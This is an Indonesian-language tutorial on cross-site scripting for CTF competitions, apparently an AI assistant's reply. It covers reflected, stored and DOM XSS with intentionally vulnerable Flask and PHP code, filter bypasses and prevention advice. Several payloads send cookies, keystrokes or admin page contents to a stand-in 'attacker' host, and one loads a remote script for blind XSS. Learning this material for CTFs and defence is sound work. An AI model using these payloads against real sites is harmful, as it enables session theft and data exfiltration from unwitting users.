

Cross-Site Scripting (XSS)

XSS adalah vulnerability web ketika input user dapat menjalankan JavaScript di browser korban.

Biasanya terjadi karena:

- input tidak di-escape
- HTML ditampilkan langsung
- JavaScript memproses data user secara tidak aman

Di CTF Jeopardy, XSS sering dipakai untuk:

- mencuri cookie admin
- membaca flag
- bypass authentication
- mengambil localStorage
- melakukan action sebagai admin

Cara Kerja XSS

Misal website punya kode:

```
<?php  
echo $_GET['name'];  
?>
```

User membuka:

`http://site.com/?name=ASEP`

Output:

ASEP

Jika user memasukkan:

```
<script>alert(1)</script>
```

Maka browser menerima:

```
<script>alert(1)</script>
```

Browser menganggap itu JavaScript dan menjalankannya.

Kenapa Berbahaya?

Karena JavaScript berjalan:

- sebagai korban
- dengan session korban
- dengan cookie korban

Penyerang bisa:

- mencuri cookie
 - mengakses endpoint internal
 - membaca data sensitif
 - mengubah halaman
-

Jenis XSS

Ada 3 jenis utama:

1. Reflected XSS
 2. Stored XSS
 3. DOM-based XSS
-

1. Reflected XSS

Payload langsung direfleksikan oleh server.

Contoh Vulnerable Code

```
from flask import Flask, request
```

```
app = Flask(__name__)
```

```
@app.route("/")
```

```
def home():  
    q = request.args.get("q","")  
    return f"Hasil: {q}"
```

Exploit

URL:

`http://localhost:5000/?q=<script>alert(1)</script>`

Output

Hasil: `<script>alert(1)</script>`

JavaScript berjalan.

Karakteristik Reflected XSS

- payload ada di URL
 - tidak disimpan database
 - korban harus membuka link
-

Contoh CTF Reflected XSS

Soal

Admin bot akan membuka URL yang dikirim peserta.

Tujuan:

- curi cookie admin
-

Payload

`<script>`

`fetch('http://attacker/?c='+document.cookie)`

`</script>`

2. Stored XSS

Payload disimpan di server/database.

Saat korban membuka halaman:

- payload otomatis berjalan

Contoh

Website komentar:

```
<?php
```

```
file_put_contents("comment.txt", $_POST['comment']);
```

```
echo file_get_contents("comment.txt");
```

```
?>
```

Exploit

Input:

```
<script>alert(1)</script>
```

Disimpan ke file/database.

Semua user yang membuka komentar terkena XSS.

Stored XSS di CTF

Paling umum.

Biasanya:

- ada admin bot
- admin punya cookie flag
- peserta harus mencuri flag

Alur Stored XSS CTF

1. Submit payload
2. Payload disimpan

3. Admin bot membuka halaman
 4. JavaScript peserta berjalan
 5. Cookie/flag terkirim
-

Contoh Payload CTF

Mengirim Cookie

```
<script>  
new Image().src='http://attacker/?c='+document.cookie  
</script>
```

Kenapa new Image()?

Karena:

- sederhana
 - tidak kena CORS
 - sering dipakai di CTF
-

3. DOM-based XSS

Bukan server yang vulnerable.

JavaScript frontend sendiri yang menyebabkan XSS.

Contoh

```
document.getElementById("output").innerHTML =  
location.hash.substring(1);
```

Exploit

URL:

```
http://site.com/#<script>alert(1)</script>
```

JavaScript mengambil hash URL lalu memasukkannya ke innerHTML.

Mengapa innerHTML Bahaya?

Karena browser mem-parsing HTML.

Lebih aman gunakan:

textContent

Payload XSS Penting

Basic

<script>alert(1)</script>

Event Handler

SVG

<svg onload=alert(1)>

Attribute Injection

Jika input masuk ke:

<input value="USER">

Payload:

" onmouseover="alert(1)

Hasil:

<input value="" onmouseover="alert(1)">

Mencuri Cookie

<script>

fetch('http://attacker/?c='+document.cookie)

</script>

Redirect Victim

```
<script>
location='http://evil.com'
</script>
```

Keylogger

```
<script>
document.onkeypress=function(e){
fetch('http://attacker/?k='+e.key)
}
</script>
```

Membaca LocalStorage

```
localStorage.getItem("token")
```

Contoh Challenge XSS Lengkap

Vulnerable Flask App

```
from flask import Flask, request, render_template_string
```

```
app = Flask(__name__)
```

```
@app.route("/")
```

```
def index():
```

```
    name = request.args.get("name", "guest")
```

```
    return render_template_string(f"""
```

```
<h1>Hello {name}</h1>
```

```
""")
```

```
app.run()
```

Exploit

URL:

```
http://localhost:5000/?name=<script>alert(1)</script>
```

Bypass Filter XSS

Kadang challenge memblok:

```
<script>
```

Peserta harus bypass.

Payload Alternatif

Img Error

```
<img src=x onerror=alert(1)>
```

SVG

```
<svg onload=alert(1)>
```

Body Onload

```
<body onload=alert(1)>
```

Filter Bypass Umum

Uppercase/Lowercase

```
<ScRiPt>alert(1)</ScRiPt>
```

Encoding

`%3Cscript%3Ealert(1)%3C/script%3E`

Admin Bot di CTF

Biasanya challenge punya:

- bot headless Chrome
 - login sebagai admin
 - membuka URL peserta
-

Contoh Admin Bot

`driver.get(url)`

Jika URL mengandung XSS:

- payload berjalan di browser admin
-

HttpOnly Cookie

Kadang:

HttpOnly

aktif.

Maka:

- `document.cookie` tidak bisa dibaca.

Peserta harus:

- fetch endpoint admin
 - membaca response
 - kirim ke attacker
-

Contoh Exploit HttpOnly

`<script>`

`fetch('/admin')`

```
.then(r=>r.text())
.then(d=>{
  fetch('http://attacker/?x='+btoa(d))
})
</script>
```

CSP (Content Security Policy)

Kadang website memakai:

Content-Security-Policy

untuk memblok inline script.

Contoh CSP

Content-Security-Policy: script-src 'self'

Dampak

Payload berikut gagal:

```
<script>alert(1)</script>
```

Peserta harus mencari bypass.

Blind XSS

Payload dijalankan:

- di panel admin
- bukan di halaman user

Peserta tidak melihat hasil langsung.

Payload Blind XSS

```
<script src=http://attacker/x.js></script>
```

Jika request masuk:

- berarti admin membuka payload.
-

Cara Analisis XSS di CTF

Langkah umum:

1. Cari input user
 2. Lihat apakah direfleksikan
 3. Coba payload:
 4. `<script>alert(1)</script>`
 5. Jika gagal:
 - coba img
 - coba svg
 - coba event handler
 6. Cari:
 - CSP
 - sanitasi
 - encoding
 7. Jika ada admin bot:
 - curi cookie
 - fetch admin endpoint
 - baca localStorage
-

Tools untuk XSS

Sering dipakai:

- Burp Suite
- Google Chrome DevTools
- XSS Hunter
- Selenium bot
- ngrok

Mini Lab XSS

app.py

```
from flask import Flask, request
```

```
app = Flask(__name__)
```

```
@app.route("/")
```

```
def home():
```

```
    q = request.args.get("q", "")
```

```
    return f"""
```

```
<h1>Search</h1>
```

```
{q}
```

```
"""
```

```
app.run(debug=True)
```

Jalankan

```
python app.py
```

Test

Buka:

```
http://127.0.0.1:5000/?q=<script>alert(1)</script>
```

Popup muncul.

Kesalahan Developer yang Menyebabkan XSS

- menggunakan innerHTML
 - tidak escape output
 - memakai template unsafe
 - CSP lemah
 - sanitasi blacklist
 - mematikan autoescape
-

Pencegahan XSS

Escape Output

Gunakan:

- HTML encoding
 - autoescape template
-

Hindari innerHTML

Gunakan:

textContent

Gunakan CSP

Content-Security-Policy

Sanitasi HTML

Gunakan library seperti:

- DOMPurify
-

Challenge XSS CTF Biasanya Menguji

- HTML parsing
- browser behavior
- JavaScript execution

- filter bypass
 - CSP bypass
 - cookie stealing
 - DOM manipulation
 - same-origin policy
-

Kalau mau, saya juga bisa bantu:

- walkthrough challenge XSS nyata
- membuat admin bot
- bypass CSP
- payload polyglot
- DOM XSS lanjutan
- blind XSS
- stored XSS hard challenge
- lab Docker XSS
- latihan XSS bertahap dari easy → hard
- membuat soal CTF XSS lengkap dengan flag dan solver